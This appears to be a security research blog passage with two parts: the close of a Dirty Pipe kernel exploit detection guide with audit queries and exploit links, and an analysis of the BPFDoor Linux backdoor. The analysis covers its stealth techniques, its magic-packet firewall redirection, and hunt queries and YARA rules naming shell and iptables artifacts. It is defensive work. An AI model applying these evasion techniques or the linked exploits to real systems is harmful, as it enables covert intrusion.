Run the Auditbeat setup command using sudo auditbeat setup.

Start Auditbeat using sudo systemctl start auditbeat.service.

Now you should be able to verify events are being populated in the auditbeat-* Data View within Kibana.

Filebeat

You can use the Auditd module for Filebeat to collect the Auditd logs as well. To do this, install Filebeat and then enable the Auditd module

sudo filebeat modules enable auditd

Next, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.

Enabling Auditd log in the Filebeat configuration file

sudo vi /etc/filebeat/modules.d/auditd.yml

# Module: auditd

# Docs: <https://www.elastic.co/pt/guide/en/beats/filebeat/master/filebeat-module-auditd.html>

* module: auditd
  log:
    enabled: true

# Set custom paths for the log files. If left empty

# Filebeat will choose the paths depending on your OS

    #var.paths:

Testing the Filebeat configuration and output settings

sudo filebeat test config
sudo filebeat test output

Run the Filebeat setup command using sudo filebeat setup.

Start Filebeat using sudo systemctl start filebeat.service.

Detecting Dirty Pipe with Elastic

Now that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana’s Security → Timelines → New Timeline → Correlation query editor.

Hunt queries in Kibana

KQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:

KQL query to detect Dirty Pipe exploitation attempts

auditd.log.key : dirtypipe and process.name : *

EQL query compatible with using the Auditbeat:

EQL query to detect Dirty Pipe exploitation attempts

process where tags : "dirtypipe" and not process.name : ""

Detection Engine alerts

You can also create a Detection Engine alert to monitor for exploitation attempts.

Exploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.

Respond to Observed Threats

Elastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.

Defense in Depth Recommendations

The following steps can be leveraged to improve a network’s protective posture:

1. Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS’
2. Review and implement the above detection logic within your environment using technology described in the post
3. Maintain backups of your critical systems to aid in quick recovery

References

The following research was referenced throughout the document:

• Exploit CVE reference: CVE-2022-0847
• Write-up using eBPF for some detections: https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig
• Original Max Kellermann write-up: https://dirtypipe.cm4all.com/
• SUID shell: ​​https://haxx.in/files/dirtypipez.c
• Passwd overwrite: https://github.com/liamg/traitor
• Passwd overwrite: ​​https://github.com/imfiver/CVE-2022-0847
• Metasploit module: https://github.com/rapid7/metasploit-framework/pull/16303
• Original Auditd detection logic: https://twitter.com/jonasl/status/1501840914381258756?s=20&t=MIWwwXpl5t0JiopVxX5M5Q

BPFDoor is a backdoor payload specifically crafted for Linux. Its purpose is for long-term persistence in order to gain re-entry into a previously or actively compromised target environment. It notably utilizes BPF along with a number of other techniques to achieve this goal, taking great care to be as efficient and stealthy as possible. PWC researchers discovered this very interesting piece of malware in 2021. PWC attributes this back door to a specific group from China, Red Menshen, and detailed a number of interesting components in a high-level threat research post released last week.

PWC’s findings indicated that ​​Red Menshen had focused their efforts on targeting specific Telecommunications, Government, Logistics, and Education groups across the Middle East and Asia. This activity has been across a Monday-to-Friday working period, between 01:00 UTC and 10:00 UTC, indicating that the operators of the malware were consistent in their attacks, and operation during a working week.

Perhaps most concerningly, the payload itself has been observed across the last 5 years in various phases of development and complexity, indicating that the threat actor responsible for operating the malware has been at it for some time, undetected in many environments.

BPFDoor Tools

The Elastic Security Team has created a few tools that will aid researchers in analyzing the BPFDoor malware.

The BPFDoor scanner will allow you to scan for hosts infected with the BPFDoor malware and the BPFDoor configuration extractor will allow you to extrapolate the malware’s configuration or hardcoded values which can lead to additional observations you can use for further analysis, developing additional signatures or connecting to the backdoor utilizing our client.

• BPFDoor scanner
• BPFDoor configuration extractor

Attack Lifecycle

This inherently passive backdoor payload is built to be a form of persistence – a method to regain access if the first or second stage payloads are lost. It is built for and intended to be installed on high-uptime servers or appliances, IoT/SCADA, or cloud systems with access to the Internet. The backdoor usually sits in temporary storage so if a server were to be rebooted or shut down, the backdoor would be lost.

It should be assumed that if this malware is found on a system the initial-access (1st stage) or post-exploitation (2nd stage) payloads are still most likely present and possibly active elsewhere in the environment. This backdoor excels at stealth, taking every opportunity to blend in and remain undetected.

In the below steps, we will break BPFDoor’s actions down according to the vast majority of the samples available.

1. When executed the binary copies itself into /dev/shm/. A temporary filesystem /dev/shm stands for shared memory and is a temporary file storage facility serving as an efficient means of inter-process communication
2. Renames its process to kdmtmpflush, a hardcoded process name
3. Initializes itself with the -init flag and forks itself. Forking in Linux means creating a new process by duplicating the calling process
4. Deletes itself by removing the original binary invoked. The forked process continues to run
5. Alters the forked processes’ creation and modification time values, also known as timestomping
6. Creates a new process environment for itself and removes the old one setting (spoofing) a new process name. It changes the way it appears on the system akin to wearing a mask. The process is still kdmtmpflush but if you were to run a ps you would see whatever value it set
7. Creates a process ID (PID) file in /var/run. PID files are text files containing the process of the associated program meant for preventing multiple starts, marking residency, and used by the program to stop itself. This file resides in /var/run, another temporary file storage facility
8. Creates a raw network socket. On Linux, a socket is an endpoint for network communication that allows you to specify in detail every section of a packet allowing a user to implement their own transport layer protocol above the internet (IP) level
9. Sets BPF filters on the raw socket. BPF allows a user-space program to attach a filter onto any socket and allow or disallow certain types of data to come through the socket
10. Observes incoming packets
11. If a packet is observed that matches the BPF filters and contains the required data it is passed to the backdoor for processing
12. It forks the current process again
13. Changes the forked processes working directory to /
14. Changes (spoofs) the name of the forked process to a hardcoded value
15. Based on the password or existence of a password sent in the “magic packet” the backdoor provides a reverse shell, establishes a bind shell, or sends back a ping

Atypical BPFDoor sample

Of note there is one sample we have come across that does not seem to exhibit steps 1 - 4. It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models the same behavior.

Below you can see visual representations of the BPFDoor process tree, utilizing Elastic’s Analyzer View. The first image displays the tree prior to active use of the backdoor (i.e reverse shell, bind shell, or pingback) and the second image after a reverse shell has connected and performed post-exploitation activities.

Defense Evasion Insights

BPFDoor is interesting given the anti-forensics, and obfuscation tactics used. Astute readers will observe slight differences in the PID tree visible when running a ps ajxf on an infected host when compared to executed data within the Analyzer View inside of Elastic. This is due to the process name spoofing mentioned in step 6 (above) of the attack lifecycle above. The image below is taken from a system running BPFDoor with an active reverse shell connection established:

The difference lies in the fact that kdmtmpflush and sh are run prior to spoofing, and are captured at runtime by Elastic Endpoint. This is an accurate representation of the processes active on the host, further confirming the importance of appropriate observation software for Linux hosts - you can’t always trust what you see on the local system:

BPFDoor also holds in its repertoire the ability to subvert the traditional Linux socket client - server architecture in order to hide its malicious traffic. The methods which it utilizes to achieve this are both unusual and intriguing.

The sockets interface is almost synonmous with TCP/IP communication. This simple interface has endured for over 40 years - predating both Linux and Windows implementations.

BPFDoor uses a raw socket (as opposed to ‘cooked’ ones that handle IP/TCP/UDP headers transparently) to observe every packet arriving at the machine, ethernet frame headers and all. While this might sound like a stealthy way to intercept traffic, it’s actually not – on any machine with a significant amount of network traffic the CPU usage will be consistently high.

That’s where BPF comes in - an extremely efficient, kernel-level packet filter is the perfect tool to allow the implant to ignore 99% of network traffic and only become activated when a special pattern is encountered. This implant looks for a so-called magic packet in every TCP, UDP and ICMP packet received on the system.

Once activated, a typical reverse shell - which this back door also supports - creates an outbound connection to a listener set up by the attacker. This has the advantage of bypassing firewalls watching inbound traffic only. This method is well-understood by defenders, however. The sneakiest way to get a shell connected would be to reuse an existing packet flow, redirected to a separate process.

In this attack, the initial TCP handshake is done between the attacker and a completely legitimate process – for example nginx or sshd. These handshake packets happen to be also delivered to the backdoor (like every packet on the system) but are filtered out by BPF. Once the connection is established, however, BPFDoor sends a magic packet to the legitimate service. The implant receives it and makes a note of the originating IP and port the attacker is using, and it opens a new listening socket on an inconspicuous port (42391 - 43391).

The implant then reconfigures the firewall to temporarily redirect all traffic from the attacker’s IP/port combination to the new listening socket. The attacker initiates a second TCP handshake on the same legitimate port as before, only now iptables forwards those packets to the listening socket owned by the implant. . This establishes the communication channel between attacker and implant that will be used for command and control. The implant then covers its tracks by removing the iptables firewall rules that redirected the traffic.

Despite the firewall rule being removed, traffic on the legitimate port will continue to be forwarded to the implant due to how Linux statefully tracks connections. No visible traffic will be addressed to the implant port (although it will be delivered there).

BPF Filters

As stated in step 9 (above), BPF or Berkeley Packet Filters is a technology from the early ’90s that allows a user-space program to attach a network filter onto any socket and allow or disallow certain types of data to come through the socket. These filters are made up of bytecode that runs on an abstract virtual machine in the Linux kernel. The BPF virtual machine has functionality to inspect all parts of incoming packets and make an allow/drop decision based on what it sees. . You can see in the image example below what this looks like within the BPFDoor source code:

We took this BPF code, converted it, and wrote it up as pseudo code in an effort to aid our research and craft packets able to successfully get through these filters in order to activate the backdoor.

The above capabilities allow BPFDoor to attach a filter onto any socket and allow or disallow certain types of data to come through the socket - used carefully by the adversary to invoke a series of different functions within the payload.

Historical Analysis

We wanted to see over time, between BPFDoor payloads, what, if anything, the threat actors modified. A number of samples were detonated and analyzed ranging from the uploaded source code to a sample uploaded last month. We found that the behavior over time did not change a great deal. It maintained the same relative attack lifecycle with a few variations with the hardcoded values such as passwords, process names, and files - this is not uncommon when compared to other malware samples that look to evade detection or leverage payloads across a variety of victims.

We posture that the threat group would change passwords and update process or file names in an effort to improve operational security and remain hidden. It also makes sense that the general functionality of the backdoor would not change in any great way. As the saying goes “If it’s not broken, don’t fix it”. Our malware analysis and reverse engineering team compared the source code (uploaded to VirusTotal and found on Pastebin) to a recently uploaded sample highlighting some of the notable changes within the main function of the malware in the images below.

As we mentioned earlier, one recent sample we have come across that does not seem to exhibit some of the tactics of prior payloads has been observed - It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models relatively the same behavior.

Linux Malware Sophistication

A trend we have had the privilege of observing at Elastic, is the threat landscape of Linux targeted attacks - these being focused often on cloud workloads, or systems that typically have less observational technology configured in many of the environments we see. The trend of complex, well-designed payloads is something that is often simply overlooked, and specifically in the case of BPFDoor, remained hidden for years.

It is important to consider these workloads a critical component of your security posture: A lack of visibility within cloud workloads will eventually lead to large gaps in security controls - adversarial groups are further growing to understand these trends, and act accordingly. Best practices state that endpoint defenses should be consistent across the fleet of systems under management, and conform to a least privilege architecture.

Detection of BPFDoor

After researching this malware it became apparent as to why the backdoor remained in use and hidden for so long. If you aren’t intimately familiar with Linux process abnormalities or weren’t looking for it you would generally not detect it. Even though it takes advantage of Linux capabilities in a stealthy manner to evade detection, there are still opportunities for both behavioral and signature-based detections.

The first area of opportunity we witnessed while testing was the behavior we observed during the initial execution of the malware, specifically its working directory, in a shared memory location /dev/shm. This is a native temporary filesystem location in Linux that uses RAM for storage, and a binary executing from it let alone generating network connections is fairly uncommon in practice.

During execution, BPFDoor removes existing files from /dev/shm and copies itself there prior to initialization. A detection for this would be any execution of a binary from this directory as root (you have to be root to write to and read from this directory).

This was verified by detonating the binary in a VM while our Elastic Agent was installed and observing the sequence of events. You can see an image of this detection on the Kibana Security Alerts page below. This rule is publicly available as an Elastic SIEM detection rule - Binary Executed from Shared Memory Directory:

The second opportunity we noticed, for detection, was a specific PID file being created in /var/run. We noticed the dropped PID file was completely empty while doing a quick query via the Osquery integration to the /var/run directory. While this is not inherently malicious, it is unusual for the file size of a PID to be 0 or above 10 bytes and thus we created an additional rule centered around detecting this unusual behavior.

Our Abnormal Process ID or Lock File Created rule identifies the creation of a PID file in the main directory of /var/run with no subdirectory, ignoring common PID files to be expected:

The third area we wanted to look at was the network connections tied to two of the three capabilities (reverse shell and bind shell) the backdoor possesses. We wanted to see if there were any suspicious network connections tied to process or user abnormalities we could sequence together based off of the way BPFDoor handles establishing a reverse or bind shell.

The reverse shell was the first capability focused on. Taking a deep look at the process tree in and around the reverse shell establishment allowed us to key in on what would be considered a strange or even abnormal sequence of events leading to and involving an outbound network connection.

We developed a hunt rule sequence that identifies an outbound network connection attempt followed by a session id change as the root user by the same process entity. The reason we developed these network focused hunt rules is due to possible performance issues caused if running these continually.

The bind shell was the last capability we honed in on. Identifying an abnormal sequence of events surrounding the bind shell connection was difficult due to the way it forks then accepts the connection and kills the accepting process post established connection. Therefore we had to focus on the sequence of events within the process entity id directly involving the network connection and subsequent killing of the accepting process.

After developing the 2 detection rules along with the 2 hunt rules listed below and in addition to the 6 YARA signatures deployed we were able to detect BPFDoor in a myriad of different ways and within different stages of its life cycle. As stated earlier though, if you detect this malware in your environment it should be the least of your concerns given the threat actor will most likely have already successfully compromised your network via other means.

Existing Detection Rules

The following Elastic Detection Rules will identify BPFDoor activity:

• Abnormal Process ID or Lock File Created
• Binary Executed from Shared Memory Directory

Hunting Queries

This EQL rule can be used to successfully identify BPFDoor reverse shell connections having been established within your environment:

EQL BPFDoor reverse shell hunt query

sequence by process.entity_id with maxspan=1m
[network where event.type == "start" and event.action == "connection_attempted" and user.id == "0" and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
[process where event.action == "session_id_change" and user.id == "0"]

The hunt rule we created here identifies a sequence of events beginning with a session id change, followed by a network connection accepted, in correlation with ptmx file creation and a deletion of the process responsible for accepting the network connection. This EQL rule can be used to successfully identify BPFDoor bind shell connections within your environment:

EQL BPFDoor bind shell hunt query

sequence by process.entity_id with maxspan=1m
[process where event.type == "change" and event.action == "session_id_change" and user.id == 0 and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
[network where event.type == "start" and event.action == "connection_accepted" and user.id == 0]
[file where event.action == "creation" and user.id == 0 and file.path == "/dev/ptmx"]
[process where event.action == "end" and user.id == 0 and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]

YARA Rules

In addition to behavioral detection rules in the Elastic Endpoint, we are releasing a set of BPFDoor Yara signatures for the community.

BPFDoor YARA rule

rule Linux_Trojan_BPFDoor_1 {

    meta:
        Author = "Elastic Security"
        creation_date = "2022-05-10"
        last_modified = "2022-05-10"
        os = "Linux"
        arch = "x86"
        category_type = "Trojan"
        family = "BPFDoor"
        threat_name = "Linux.Trojan.BPFDoor"
        description = "Detects BPFDoor malware."
        reference_sample = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
    strings:
        $a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
        $a2 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" ascii fullword
        $a3 = "avahi-daemon: chroot helper" ascii fullword
        $a4 = "/sbin/mingetty /dev/tty6" ascii fullword
        $a5 = "ttcompat" ascii fullword
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_2 {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-05-10"
        last_modified = "2022-05-10"
        os = "Linux"
        arch = "x86"
        category_type = "Trojan"
        family = "BPFDoor"
        threat_name = "Linux.Trojan.BPFDoor"
        description = "Detects BPFDoor malware."
        reference_sample = "3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155"
    strings:
        $a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
        $a2 = "/sbin/mingetty /dev/tty7" ascii fullword
        $a3 = "pickup -l -t fifo -u" ascii fullword
        $a4 = "kdmtmpflush" ascii fullword
        $a5 = "avahi-daemon: chroot helper" ascii fullword
        $a6 = "/sbin/auditd -n" ascii fullword
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_3 {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-05-10"
        last_modified = "2022-05-10"
        os = "Linux"
        arch = "x86"
        category_type = "Trojan"
        family = "BPFDoor"
        threat_name = "Linux.Trojan.BPFDoor"
        description = "Detects BPFDoor malware."
        reference_sample = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
    strings:
        $a1 = "[-] Spawn shell failed." ascii fullword
        $a2 = "[+] Packet Successfuly Sending %d Size." ascii fullword
        $a3 = "[+] Monitor packet send." ascii fullword
        $a4 = "[+] Using port %d"
        $a5 = "decrypt_ctx" ascii fullword
        $a6 = "getshell" ascii fullword
        $a7 = "getpassw" ascii fullword
        $a8 = "export %s=%s" ascii fullword
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_4 {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-05-10"
        last_modified = "2022-05-10"
        os = "Linux"
        arch = "x86"
        category_type = "Trojan"
        family = "BPFDoor"
        threat_name = "Linux.Trojan.BPFDoor"
        description = "Detects BPFDoor malware."
        reference_sample = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
    strings:
        $a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_5 {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-05-10"
        last_modified = "2022-05-10"
        os = "Linux"
        arch = "x86"
        category_type = "Trojan"
        family = "BPFDoor"
        threat_name = "Linux.Trojan.BPFDoor"
        description = "Detects BPFDoor malware."
        reference_sample = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
    strings:
        $a1 = "getshell" ascii fullword
        $a2 = "/sbin/agetty --noclear tty1 linux" ascii fullword
        $a3 = "packet_loop" ascii fullword
        $a4 = "godpid" ascii fullword
        $a5 = "ttcompat" ascii fullword
        $a6 = "decrypt_ctx" ascii fullword
        $a7 = "rc4_init" ascii fullword
        $b1 = { D0 48 89 45 F8 48 8B 45 F8 0F B6 40 0C C0 E8 04 0F B6 C0 C1 }
    condition:
        all of ($a*) or 1 of ($b*)
}

rule Linux_Trojan_BPFDoor_6 {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-05-10"
        last_modified = "2022-05-10"
        os = "Linux"
        arch = "x86"
        category_type = "Trojan"
        family = "BPFDoor"
        threat_name = "Linux.Trojan.BPFDoor"
        description = "Detects BPFDoor malware."
        reference_sample = "dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a"
    strings:
        $a1 = "getpassw" ascii fullword
        $a2 = "(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&0xf0)>>2):2]=0x5293)" ascii fullword
        $a3 = "/var/run/haldrund.pid" ascii fullword
        $a4 = "Couldn't install filter %s: %s" ascii fullword
        $a5 = "godpid" ascii fullword
    condition:
        all of them
}

Interacting with BPFDoor

The Elastic Security Team has released several tools that can aid in further research regarding BPFDoor to include a network scanner used to identify infected hosts, a BPFDoor malware configuration extractor, and a BPFDoor client binary that can be used to actively interact with a sample.

BPFDoor Scanner

The Elastic Security Team has released a Python script that can identify if you have BPFDoor infected hosts.

The scanner sends a packet to a defined IP address using the default target port (68/UDP)and default interface. It listens to return traffic on port 53/UDP.

BPFDoor Configuration Extractor

This tool will allow you to extract configurations from any BPFDoor malware you may have collected. This will allow you to develop additional signatures and further analysis of the malware as well as your environment.

The BPFDoor configuration extractor can be downloaded here.

BPFDoor Client POC

Quickly after beginning our research into this malware we realized we would also need to actively interact with BPFDoor in order to observe the full extent of the capabilities that it possesses and monitor what these capabilities would look like from a host and SIEM level.

In order to do this, we had to break down the BPF filters in the BPFDoor source code so we could craft packets for the different protocols. To do this, we used Scapy, a packet manipulation program, to ensure we could pass the filters for the purpose of activating the backdoor. Once we ensured we could pass the filters, Rhys Rustad-Elliott, an engineer at Elastic built a BPFDoor client that accepts a password, IP address, and port allowing you to connect to a BPFDoor sample and interact if you possess the sample’s hardcoded passwords.

Depending on the password or lack of password provided, BPFDoor will behave exactly the same way it would in the wild. You can invoke a reverse shell, establish a bind shell, or connect to it with no supplied password to receive a ping-back confirming its installation.

Researchers looking to use BPFDoor can reach out to Elastic Security for access to the BPFDoor client POC. Please note that these tools will be shared at our discretion with those in the trusted security community looking to improve the detection of this vulnerability.

Impact

The following MITRE ATT&CK Tactic, Techniques, and Sub-techniques have been observed with the BPFDoor malware.

Tactics

Tactics represent the “why” of an ATT&CK technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution

Techniques (sub-techniques)

Techniques (and sub-techniques) represent ‘how’ an adversary achieves a tactical goal by performing an action.

• Native API
• External Remote Services
• Hide Artifacts
• Indicator Removal on Host
• Non-Application Layer Protocol
• Command and Scripting Interpreter: Unix Shell
• Abuse Elevation Control Mechanism: Setuid and Setgid

Source Pseudocode

To clearly articulate the details of this malware, we’ve created two diagrams that outline the specific pseudocode for BPFDoor based on the source code uploaded to VT and found on Pastebin. While this contains a lot of detail, it is simple to understand if researchers choose to further this research.

Summary

While threat groups continue to increase in maturity, we expect this kind of mature, well designed and hidden threat will continue to be found within Linux environments. These kinds of findings reiterate the importance of comprehensive security controls across the entirety of a fleet, rather than simply focusing on user endpoints.

BPFDoor demonstrates a perfect example of how important monitoring workloads within Linux environments can be. Payloads such as this are near-on impossible to observe and detect without sufficient controls, and should be considered a moving trend within the general adversarial landscape.

Observables

References

• https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896
• https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
• https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.